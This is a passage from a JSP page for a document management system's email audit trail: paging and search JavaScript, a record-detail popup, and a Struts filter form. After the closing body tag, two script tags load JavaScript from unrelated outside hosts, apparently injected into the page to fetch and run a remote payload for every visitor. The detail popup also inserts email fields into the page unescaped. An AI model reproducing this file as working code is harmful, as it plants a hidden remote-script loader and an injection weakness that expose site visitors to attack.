    pageIndexHtml    += "<a href=\"javascript:callAjaxSort(1, document.listDmsEmailAuditTrailForm.sortAttribute.value, document.listDmsEmailAuditTrailForm.sortOrder.value, 'content')\"><img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerFirst.gif\" border=\"0\"></a>&nbsp;";
    pageIndexHtml    += "<a href=\"javascript:callAjaxSort(parseInt(document.listDmsEmailAuditTrailForm.curStartRowNo.value)-<%=m_nMaxPageItems%>, document.listDmsEmailAuditTrailForm.sortAttribute.value, document.listDmsEmailAuditTrailForm.sortOrder.value, 'content')\"><img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerPrevious.gif\" border=\"0\"></a>&nbsp;";
  }
  pageIndexHtml    += curPage +"/"+ total_pages;
  if(curPage<total_pages){
    pageIndexHtml    += "<a href=\"javascript:callAjaxSort(parseInt(document.listDmsEmailAuditTrailForm.curStartRowNo.value)+<%=m_nMaxPageItems%>, document.listDmsEmailAuditTrailForm.sortAttribute.value, document.listDmsEmailAuditTrailForm.sortOrder.value, 'content')\"><img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerNext.gif\" border=\"0\"></a>&nbsp;";
    pageIndexHtml    += "<a href=\"javascript:callAjaxSort("+laststartRow+", document.listDmsEmailAuditTrailForm.sortAttribute.value, document.listDmsEmailAuditTrailForm.sortOrder.value, 'content')\"><img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconPagerLast.gif\" border=\"0\"></a>&nbsp;";
  }
  //alert(pageIndexHtml);
  purge(pagerIndexSpan.innerHTML);
  pagerIndexSpan.innerHTML=pageIndexHtml;
}

function purge(d) {
  var a = d.attributes, i, l, n;
  if (a) {
    l = a.length;
    for (i = 0; i < l; i += 1) {
      n = a[i].name;
      if (typeof d[n] === 'function') {
        d[n] = null;
      }
    }
  }
  a = d.childNodes;
  if (a) {
    l = a.length;
    for (i = 0; i < l; i += 1) {
      purge(d.childNodes[i]);
    }
  }
}

//page record
function callAjaxSort(curStartRowNo, sortAttribute, sortOrder, retriveList){
  listDmsEmailAuditTrailForm.curStartRowNo.value = curStartRowNo;
  listDmsEmailAuditTrailForm.sortAttribute.value = sortAttribute;
  listDmsEmailAuditTrailForm.sortOrder.value = sortOrder;
  getSearchResult(listDmsEmailAuditTrailForm,"page");
}

//show signle record
function showDetail(emailType,operation,userName,from,to,cc,bcc,subject,sentDate,attches){
  var typeDetail;
  if(emailType == "I"){
    typeDetail = "<bean:message key='dms.label.email_audit_trail.email_type.inbound'/>"
  }else{
    typeDetail = "<bean:message key='dms.label.email_audit_trail.email_type.outbound'/>"
  }
  var toDetail = to.split(";");
  if(toDetail.length==1){
    toDetail = to.split(",");
  }
  var ccDetail = cc.split(";");
  if(ccDetail.length==1){
    ccDetail = cc.split(",");
  }
  var bccDetail = bcc.split(";");
  if(bccDetail.length == 1){
    bccDetail = bcc.split(",");
  }
  var attchesDetail = attches.split(";");
  var icon = "<img src=\"<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/win_close.gif\" align=\"absmiddle\" border=\"0\">";
  var typeShow = "<tr class='listContent1'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_type'/></b></td><td>"+typeDetail+"</td><td><a id='hider' href='#' onclick='return clanceCondition(\"showDetail\")'>"+icon+"</a></td></tr>";
  var operationShow = "<tr class='listContent0'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.operation'/></b></td><td>"+operation+"</td><td></td></tr>";
  var userShow = "<tr class='listContent1'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_user'/></b></td><td>"+userName+"</td><td></td></tr>";
  var fromShow = "<tr class='listContent0'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_from'/></b></td><td>"+from+"</td><td></td></tr>";
  var toShow = "<tr class='listContent1'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_to'/></b></td><td><div style='overflow:auto;height:50px'>";
  for(var i=0; i<toDetail.length; i++){
    toShow += toDetail[i]+"<br>";
  }
  toShow += "</div></td><td></td></tr>";
  
  var ccShow = "<tr class='listContent0'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_cc'/></b></td><td><div style='overflow:auto;height:50px'>";
  for(var i=0; i<ccDetail.length; i++){
    ccShow += ccDetail[i]+"<br>";
  }
  ccShow += "</div></td><td></td></tr>";
  var bccShow = "<tr class='listContent1'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_bcc'/></b></td><td><div style='overflow:auto;height:50px'>";
  for(var i=0; i<bccDetail.length; i++){
    bccShow += bccDetail[i]+"<br>";
  }
  bccShow += "</div></td><td></td></tr>";

  var attchShow = "<tr class='listContent0'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_documentAttch'/></b></td><td><div style='overflow:auto;height:50px'>";
  for(var i=0; i<attchesDetail.length; i++){
    attchShow += attchesDetail[i]+"<br>"
  }
  attchShow += "</div></td><td></td></tr>";
  var subjectShow = "<tr class='listContent0'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_subject'/></b></td><td>"+subject+"</td><td></td></tr>";
  var sentDateShow = "<tr class='listContent1'><td bgcolor='#66CCFF'><b><bean:message key='dms.label.email_audit_trail.email_sentdate'/></b></td><td>"+sentDate+"</td><td></td></tr>";
  var showAll = "<table style='position:absolute; top:-100px; background-color:white; left:-100px;'>"+typeShow+operationShow+userShow+fromShow+toShow+ccShow+bccShow+subjectShow+sentDateShow+attchShow+"</table>";
  
  document.getElementById("showDetail").innerHTML = showAll;
  document.getElementsByTagName("body")[0].scroll="no";
  setTimeout("dlg.show()",200);
  //dlg.show();

  
}

//get search condition value . use dwr get result data from database��
function getSearchResult(frm,type){
  var sentDate = "Today"
  var operation = frm.operation.value;
  var operationSearchType = frm.operationSearchType.value==null?"=":frm.operationSearchType.value;
  var userid = frm.userid.value;
  var userSearchType = frm.userSearchType.value==null?"=":frm.userSearchType.value;
  var emailFrom = frm.emailFrom.value;
  var fromSearchType = frm.fromSearchType.value;
  var emailTo = frm.emailTo.value;
  var toSearchType = frm.toSearchType.value;
  var emailCc = frm.emailCc.value;
  var ccSearchType = frm.ccSearchType.value;
  var emailBcc = frm.emailBcc.value;
  var bccSearchType = frm.bccSearchType.value;
  var emailSubject = frm.emailSubject.value;
  var subjectSearchType = frm.subjectSearchType.value;
  sentDate = frm.sentDate.value;
  var sentDateSearchType = frm.sentDateSearchType.value;
  var sentDateValue = frm.sentDateValue.value;
  if(type=="FirstSearch"){
    sentDateValue = "Today";
    document.listDmsEmailAuditTrailForm.sentDateValue.value="today";
    document.listDmsEmailAuditTrailForm.sentDateSearchType.value = "=";
    document.getElementById("date").style["display"]="none"
    document.getElementById("cancel").style["display"]="";
    type = "Search";
    seacrhValueCount = "1";
  }
  var secondDate = frm.secondDate.value;
  var secondSearchType = frm.secondDateSearchType.value;
  var secondDateValue = frm.secondDateValue.value;
  var attchName = frm.attchName.value;
  var attchSearchType = frm.attchNameSearchType.value;
  var emailType = frm.emailType.value;
  var typeSearchType = frm.typeSearchType.value;
  var sortAttribute = frm.sortAttribute.value;
  var sortOrder = frm.sortOrder.value=="" ? "DESC" : frm.sortOrder.value;
  var curStartRowNum = frm.curStartRowNo.value;
  argsArray =operation+"|"+operationSearchType+"|"+userid+"|"+userSearchType+"|"+emailFrom+"|"+fromSearchType+"|"+emailTo+"|"+toSearchType+"|"+emailCc+"|"+ccSearchType+"|"+emailBcc+"|"+bccSearchType+"|"+emailSubject+"|"+subjectSearchType+"|"+attchName+"|"+attchSearchType+"|"+emailType+"|"+typeSearchType+"|"+sentDate+"|"+sentDateSearchType+"|"+sentDateValue+"|"+secondDate+"|"+secondSearchType+"|"+secondDateValue+"|"+sortAttribute+"|"+sortOrder+"|"+curStartRowNum;
  DmsEmailAuditTrail.getList(complete,argsArray); 
  if(gfPop.gfSelf.style.visibility=="visible"){
    gfPop.fHideCal();
  }
//DmsEmailAuditTrail.getSearchListFromPage(complete,operation,operationSearchType,userid,userSearchType,emailFrom,fromSearchType,emailTo,toSearchType,emailCc,ccSearchType,emailBcc,bccSearchType,emailSubject,subjectSearchType,attchName,attchSearchType,emailType,typeSearchType,sentDate,sentDateSearchType,sentDateValue,secondDate,secondSearchType,secondDateValue,sortAttribute,sortOrder,curStartRowNum);
  if(type=="Search"){
    return showSearch();
  }

}

//rewrite framwork's onload event
function InitializeAction(){
  var frm = document.listDmsEmailAuditTrailForm;
  if (FindObj('iframeLoading')) {
    FindObj('iframeLoading').style.visibility='hidden';
  }
  //new Calendar(new Date());
  if (self.INIT) {
    self.INIT();
  }
  if (parent.adjustIFrameSize){
    parent.adjustIFrameSize(window);
//  if (FindObj('formSubmission')){
//    hideBlock("formSubmission");
//  }
  }
  sentdate = "true";
  secdate = "true";
  searchArray[9] = "sentDate"
  document.getElementById("sentDate").style["display"]="";
  document.getElementById("filter").style["display"]="none";
  listDmsEmailAuditTrailForm.sentDateSearchType.disabled="disabled";
  isShow = true;
  getSearchResult(frm,"FirstSearch");
}

-->
</script>
<body leftmargin="5" topmargin="0" marginwidth="5" marginheight="0" onload="InitializeAction();">
<html:form action="/dms/ListEmailAuditTrail.do" method="post">
  <html:hidden property="opMode" value="EMAILAUDITTRAIL"/>
  <html:hidden property="navMode"/>
  <html:hidden property="sortAttribute"/>
  <html:hidden property="sortOrder"/>
  <html:hidden property="curStartRowNo" />
  <html:hidden property="closeFlag" value="0"/>
  
<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
    	<layout:returnButton className="but-standard"/>
      <a href="#"  onclick="return printReport()"><input type="button" value="ExportPDF"></a>
    </div>
    <div><a href="javascript:toggleShowHide('search_panel');" class="filterButtonEnabled">Filter Enabled</a></div>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="search_panel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
<table>
  <tr>
    <td width="20"></td>   
    <td width="80" id="operationCheck">
      <a href="#"  onclick="return ShowSearchConditions('operation')"><bean:message key="dms.label.email_audit_trail.operation"/></a>
    </td>
    <td width="60" id="userCheck">
      <a href="#" onclick="return ShowSearchConditions('user')"><bean:message key="dms.label.email_audit_trail.email_user"/></a>
    </td>
    <td width="60" id="fromCheck">
      <a href="#" onclick="return ShowSearchConditions('from')"><bean:message key="dms.label.email_audit_trail.email_from"/></a>
    </td>
    <td width="60" id="toCheck">
      <a href="#" onclick="return ShowSearchConditions('to')"><bean:message key="dms.label.email_audit_trail.email_to"/></a>
    </td>
    <td width="60" id="ccCheck">
      <a href="#" onclick="return ShowSearchConditions('cc')"><bean:message key="dms.label.email_audit_trail.email_cc"/></a>
    </td>
    <td width="70" id="bccCheck">
      <a href="#" onclick="return ShowSearchConditions('bcc')"><bean:message key="dms.label.email_audit_trail.email_bcc"/></a>
    </td>
    <td width="90" id="subjectCheck">
     <a href="#" onclick="return ShowSearchConditions('subject')"> <bean:message key="dms.label.email_audit_trail.email_subject"/></a>
    </td>
    <td width="90" id="sentdateCheck">
      <a href="#" onclick="return ShowSearchConditions('sentdate')"><bean:message key="dms.label.email_audit_trail.email_sentdate"/></a>
    </td>
    <td width="90" id="attchmentCheck">
     <a href="#" onclick="return ShowSearchConditions('attchment')"> <bean:message key="dms.label.email_audit_trail.email_attchment_name"/></a>
    </td>
    <td width="60" id="typeCheck">
      <a href="#" onclick="return ShowSearchConditions('type')"><bean:message key="dms.label.email_audit_trail.email_type"/></a>
    </td>
    <td width="40"></td>
  </tr>
  <tr width="780"  height="25">
    <td colspan="12">
      <table id="all" width="100%" border="0">
        <tr id="operation" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.operation"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='operationSearchType'>
              <html:option value="=">&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:select property="operation"><html:options stringArray="<%=OPERATION_SEARCH_MAP%>" /></html:select></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('operation')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>      
        <tr id="userid" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_user"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='userSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
             </html:select>
          </td>
          <td width="39%">
            <nobr>
            <html:userpicker property='userid' pageFlag='<%=pageFlag%>'/>
            </nobr>
          </td>
          <td></td>
          <td width="40%"><a href="#" onclick="return clanceCondition('userid')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="emailFrom" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_from"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='fromSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="emailFrom" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('emailFrom')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="emailTo" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_to"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='toSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="emailTo" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('emailTo')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="emailCc" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_cc"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='ccSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="emailCc" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('emailCc')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="emailBcc" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_bcc"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='bccSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="emailBcc" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('emailBcc')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="emailSubject" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_subject"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='subjectSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="emailSubject" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('emailSubject')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
         <tr id="sentDate" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_sentdate"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='sentDateSearchType'>
              <html:option value=">">&nbsp; > &nbsp;</html:option>
              <html:option value=">=">&nbsp;> = &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</html:option>
              <html:option value="<">&nbsp;< &nbsp;</html:option>
              <html:option value="<=">&nbsp;< = &nbsp;</html:option>
              <html:option value="=">= &nbsp;</html:option>
              <html:option value="!=">&nbsp;!= &nbsp;</html:option>
            </html:select>
          </td>
          <script language=javascript>
          <!--
            function change(obj){
              if(obj != "specificDate"){
                listDmsEmailAuditTrailForm.sentDateSearchType.value = "=";
				listDmsEmailAuditTrailForm.sentDateSearchType.disabled="disabled";
                document.getElementById("date").style["display"]="none"
              }else{
				listDmsEmailAuditTrailForm.sentDateSearchType.disabled="";
                document.getElementById("date").style["display"]=""
              }
            }
          //-->
          </script>
          <td width="19%"><html:select property="sentDateValue" onchange="change(this.options[this.options.selectedIndex].value)">
            <html:options stringArray="<%=SENTDATE_MAP%>"/>
          </html:select>
          </td>
          <td align="left"><nobr><div id ="date"><html:datepicker property='sentDate'/></div></nobr></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('sentDate')"><html:img   src="IconCancel.gif" align='absmiddle'/></a></td>
        </tr>
        <tr id="secondDate" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_sentdate"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='secondDateSearchType'>
              <html:option value=">">&nbsp; > &nbsp;</html:option>
              <html:option value=">=">&nbsp;> = &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</html:option>
              <html:option value="<">&nbsp;< &nbsp;</html:option>
              <html:option value="<=">&nbsp;< = &nbsp;</html:option>
              <html:option value="=">= &nbsp;</html:option>
              <html:option value="!=">&nbsp;!= &nbsp;</html:option>
            </html:select>
          </td>
          <script language=javascript>
          <!--
            function change1(obj){
              if(obj != "specificDate"){
				listDmsEmailAuditTrailForm.secondDateSearchType.disabled="disabled";
                listDmsEmailAuditTrailForm.secondDateSearchType.value = "=";
                document.getElementById("date1").style["display"]="none"
              }else{
                document.getElementById("date1").style["display"]=""
				listDmsEmailAuditTrailForm.secondDateSearchType.disabled="";
              }
            }
          //-->
          </script>
          <td width="19%"><html:select property="secondDateValue" onchange="change1(this.options[this.options.selectedIndex].value)">
            <html:options stringArray="<%=SENTDATE_MAP%>"/>
          </html:select>
          </td>
          <td align="left"><nobr><div id="date1"><html:datepicker property='secondDate'/></div><nobr></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('secondDate')"><html:img   src="IconCancel.gif" align='absmiddle'/></a></td>
        </tr>
         <tr id="attchName" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_attchment_name"/></b></td>
          <td width="8%">
            <html:select property='attchNameSearchType'>
              <html:option value="=">&nbsp;=&nbsp;</html:option>
              <html:option value="!=">&nbsp;!=&nbsp;</html:option>
              <html:option value="LIKE">&nbsp;Contains&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:text property="attchName" /></td>
          <td></td>
          <td width="60%"><a href="#" onclick="return clanceCondition('attchName')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
        <tr id="emailType" height="20" style="display:none">
          <td width="3%"></td>
          <td width="10%"><b><bean:message key="dms.label.email_audit_trail.email_type"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</b></td>
          <td width="8%">
            <html:select property='typeSearchType'>
            <html:option value="=">&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</html:option>
            </html:select>
          </td>
          <td width="19%"><html:select property="emailType"><html:options stringArray="<%=EMAIL_TYPE_MAP%>" /></html:select></td>
          <td></td>
          <td  width="60%"><a href="#" onclick="return clanceCondition('emailType')"><html:img   src="IconCancel.gif" align='absmiddle'/></a><td>
        </tr>
        <tr id="cancel" height="20" style="display:none">
        
          <td colspan="6" align="center">
            <html:standardButton label="common.label.search" onClick="return searchList(listDmsEmailAuditTrailForm,'Search')"/>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
            <html:standardButton label="common.label.search.clear" onClick="return clanceCondition('cancel')"/>
          </td>
       
        </tr>
      </table>
    </td>
  </tr>
</table>
</div>
<div style="overflow:auto;height:130px;display:none;" id="filter">
</div>
<div style="height:20px;display:none;" id="searchValue">
</div>
<!-- Search Panel End -->

<%try{%>

<!-- Table Showing Record List Begin -->
<div id="data"></div>

<!-- Pager Information Begin -->
        <layout:pager form="listDmsEmailAuidtTrailForm" name='listDmsEmailAuditTrail'>
        <tr>
          <td valign="baseline">
           
            <table width="100%" height="25" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td width="16" height="26"><html:img src='LayoutTableLeftBottom.gif' /></td>
                <td width="53" align="center" class='mainName' background="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutTableBottombg.gif">
                  <html:img src='Spacer.gif' />
                </td>
                <td align="center" class="mainName" background="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutTableBottombg.gif">
                <strong><span id="pagerInfo"/>&nbsp;</strong>
                </td>
                <td width="60" class="mainName" align="right" background="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutTableBottombg.gif">
                <nobr><strong><span id="pagerIndex"/></strong></nobr>
                </td>
                <td width="9" align="right"><html:img src='LayoutTableRightbottom.gif' />
                <!--nobr><layout:pagerIndex/></nobr-->

                </td>
              </tr>
            </table></td>
        </tr>
        </layout:pager>
        <!-- Pager Information End -->
<!-- Table Showing Record List End -->

<%}catch(Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>


</html:form>
<!--in order to display email audit trail single record-->
<div dojoType="dialog" id="showDetail" bgColor="gray" bgOpacity="0.2" toggle="fade" toggleDuration="250"> 
</div>
<!--the end-->
</body>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>